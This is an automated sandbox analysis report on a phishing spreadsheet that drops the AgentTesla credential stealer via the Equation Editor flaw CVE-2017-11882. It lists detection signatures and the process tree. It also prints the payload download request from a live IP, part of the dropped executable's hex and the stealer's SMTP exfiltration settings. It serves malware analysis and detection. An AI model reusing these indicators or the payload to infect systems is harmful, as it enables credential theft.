Play interactive tour

Edit tour

Windows Analysis Report Request for Quotation (RFQ).xlsx

Overview

General Information

Sample Name:	Request for Quotation (RFQ).xlsx
Analysis ID:	435319
MD5:	84c78e6de4ef5f0c45f463953f7974ec
SHA1:	3018a8907c25585afb95d899d7e02414c57f87f5
SHA256:	2cea67f41e7e4bc7a0d6a29cc9d5ad722e976f51546941abe407a0a9db61e5d9
Tags:	VelvetSweatshopxlsx
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains very large array initializations

Drops PE files to the user root directory

Injects a PE file into a foreign processes

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Execution from Suspicious Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Office Equation Editor has been started

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2072 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2728 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2904 cmdline: 'C:\Users\Public\vbc.exe' MD5: E123306FCC7FD3C3BDA8993B4F6C43A2)

vbc.exe (PID: 2884 cmdline: C:\Users\Public\vbc.exe MD5: E123306FCC7FD3C3BDA8993B4F6C43A2)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "ventas@mftecnologia.com.uyVentas.1us2.smtp.mailhostbox.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vbc.exe PID: 2884	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vbc.exe PID: 2884	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vbc.exe PID: 2904	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vbc.exe PID: 2904	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.vbc.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.vbc.exe.400000.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.2.vbc.exe.32e8200.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.vbc.exe.32e8200.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.2.vbc.exe.32e8200.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.vbc.exe.32e8200.4.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 192.227.228.121, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2728, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2728, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\dan[1].exe

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2728, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2904

Sigma detected: Execution from Suspicious Folder

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "ventas@mftecnologia.com.uyVentas.1us2.smtp.mailhostbox.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: Request for Quotation (RFQ).xlsx	Metadefender: Detection: 28%			Perma Link
Source: Request for Quotation (RFQ).xlsx	ReversingLabs: Detection: 34%

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe			Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: NativeObjectSecurity.pdb( source: vbc.exe, 00000004.00000002.2140067412.0000000000902000.00000020.00020000.sdmp, vbc.exe, 00000005.00000000.2139065825.0000000000902000.00000020.00020000.sdmp, vbc.exe.2.dr
Source:	Binary string: NativeObjectSecurity.pdb source: vbc.exe, vbc.exe.2.dr

Source: global traffic

DNS query: name: us2.smtp.mailhostbox.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.227.228.121:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.227.228.121:80

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 16 Jun 2021 10:14:31 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Wed, 16 Jun 2021 02:35:20 GMTETag: "d2200-5c4d8f11f527c"Accept-Ranges: bytesContent-Length: 860672Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 60 63 c9 60 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 da 0c 00 00 46 00 00 00 00 00 00 4e f9 0c 00 00 20 00 00 00 00 0d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0d 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 f9 0c 00 4b 00 00 00 00 00 0d 00 0c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0d 00 0c 00 00 00 b3 f8 0c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 d9 0c 00 00 20 00 00 00 da 0c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 0c 42 00 00 00 00 0d 00 00 44 00 00 00 dc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0d 00 00 02 00 00 00 20 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 f9 0c 00 00 00 00 00 48 00 00 00 02 00 05 00 00 27 01 00 48 05 01 00 03 00 00 00 01 00 00 06 48 2c 02 00 6b cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 2b 02 26 16 28 0e 00 00 0a 28 0f 00 00 0a 28 12 00 00 06 02 6f 10 00 00 0a 2a 00 13 30 03 00 c5 00 00 00 01 00 00 11 2b 02 26 16 2b 02 26 16 20 00 00 00 00 38 45 00 00 00 02 16 28 08 00 00 06 20 05 00 00 00 28 06 00 00 06 3a 2f 00 00 00 38 2a 00 00 00 02 16 28 0a 00 00 06 20 07 00 00 00 38 19 00 00 00 02 16 28 11 00 00 0a 38 32 00 00 00 20 00 00 00 00 fe 0e 00 00 fe 0c 00 00 45 08 00 00 00 10 00 00 00 96 ff ff ff b1 ff ff ff 00 00 00 00 31 00 00 00 c2 ff ff ff 96 ff ff ff 48 00 00 00 38 2c 00 00 00 26 20 04 00 00 00 38 cb ff ff ff 02 16 28 07 00 00 06 28 06 00 00 06 28 05 00 00 06 39 df ff ff ff 26 20 06 00 00 00 38 aa ff ff ff 02 16 28 09 00 00 06 20 02 00 00 00 28 05 00 00 06 3a 94 ff ff ff 26 2a 00 00 00 56 2b 02 26 16 02 28 0b 00 00 06 28 0c 00 00 06 28 12 00 00 0a 2a 00 00 56 2b 02 26 16 02 28 14 00 00 06 28 0d 00 00 06 28 0e 00 00 06 2a 00 00 1a 2b 02 26 16 17 2a 0

Source: Joe Sandbox View	IP Address: 208.91.198.143 208.91.198.143
Source: Joe Sandbox View	IP Address: 192.227.228.121 192.227.228.121

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 208.91.198.143:587

Source: global traffic

HTTP traffic detected: GET /dan.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.227.228.121Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.121

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6A8387D5.emf

Jump to behavior

Source: global traffic

Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: us2.smtp.mailhostbox.com

Source: vbc.exe, 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: vbc.exe, 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	String found in binary or memory: http://DPosyL.com
Source: vbc.exe, 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: vbc.exe, 00000005.00000002.2351581799.00000000023F0000.00000004.00000001.sdmp	String found in binary or memory: http://MzDfYxjI5Zul5lFh.org
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
Source: vbc.exe, 00000005.00000002.2351030318.00000000008B3000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: vbc.exe, 00000005.00000002.2352850587.000000000520C000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.2351030318.00000000008B3000.00000004.00000020.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.sectigo.com0A
Source: vbc.exe, 00000005.00000002.2353179521.0000000005CB0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.2140354304.0000000002191000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000005.00000002.2354088257.0000000006E60000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: vbc.exe, 00000005.00000002.2351519000.00000000023CA000.00000004.00000001.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: vbc.exe, 00000005.00000002.2353179521.0000000005CB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: 6A8387D5.emf.0.dr	String found in binary or memory: http://www.day.com/dam/1.0
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: vbc.exe	String found in binary or memory: https://github.com/georgw777/
Source: vbc.exe	String found in binary or memory: https://github.com/georgw777/MediaManager
Source: vbc.exe, 00000004.00000002.2140067412.0000000000902000.00000020.00020000.sdmp, vbc.exe, 00000005.00000000.2139065825.0000000000902000.00000020.00020000.sdmp, vbc.exe.2.dr	String found in binary or memory: https://github.com/georgw777/MediaManager;https://github.com/georgw777/
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: vbc.exe, 00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: vbc.exe, 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 5.2.vbc.exe.400000.1.unpack, u003cPrivateImplementationDetailsu003eu007b558E043Bu002d0375u002d4F7Eu002dA6B1u002d60EBB83B20C5u007d/u00354970C80u002dE6D6u002d42F4u002d921Cu002d3E2A4D9C1D46.cs

Large array initialization: .cctor: array initializer size 11942

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\dan[1].exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Users\Public\vbc.exe	Code function: 4_2_0046BA68	4_2_0046BA68
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0046DAB0	4_2_0046DAB0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00468FC0	4_2_00468FC0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0046543A	4_2_0046543A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0046E9B0	4_2_0046E9B0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0046FBD8	4_2_0046FBD8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00462C60	4_2_00462C60
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00464E40	4_2_00464E40
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0046AEE8	4_2_0046AEE8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F104D8	4_2_01F104D8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F195D7	4_2_01F195D7
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F155C8	4_2_01F155C8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F14D30	4_2_01F14D30
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F15D10	4_2_01F15D10
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F15D00	4_2_01F15D00
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F14CF8	4_2_01F14CF8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F104C8	4_2_01F104C8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F11060	4_2_01F11060
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F10048	4_2_01F10048
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F19829	4_2_01F19829
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F10006	4_2_01F10006
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F197F4	4_2_01F197F4
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F163F8	4_2_01F163F8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F163E8	4_2_01F163E8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F197C1	4_2_01F197C1
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F197CD	4_2_01F197CD
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F10FB8	4_2_01F10FB8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F16B9D	4_2_01F16B9D
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F16B3A	4_2_01F16B3A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F14728	4_2_01F14728
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F102F8	4_2_01F102F8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F102E8	4_2_01F102E8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F146B7	4_2_01F146B7
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F16A98	4_2_01F16A98
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F15E76	4_2_01F15E76
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F15A60	4_2_01F15A60
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F16A49	4_2_01F16A49
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F19222	4_2_01F19222
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F15E05	4_2_01F15E05
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0023B8B8	5_2_0023B8B8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00235320	5_2_00235320
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00236340	5_2_00236340
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00235668	5_2_00235668
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00232089	5_2_00232089
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0023F4C8	5_2_0023F4C8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002A5E08	5_2_002A5E08
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002AD650	5_2_002AD650
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002A7688	5_2_002A7688
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002A4CE0	5_2_002A4CE0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002A9FC0	5_2_002A9FC0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002A29D8	5_2_002A29D8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002A9638	5_2_002A9638
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002ADC30	5_2_002ADC30
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002A11A8	5_2_002A11A8

Source: Request for Quotation (RFQ).xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: dan[1].exe.2.dr

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: dan[1].exe.2.dr

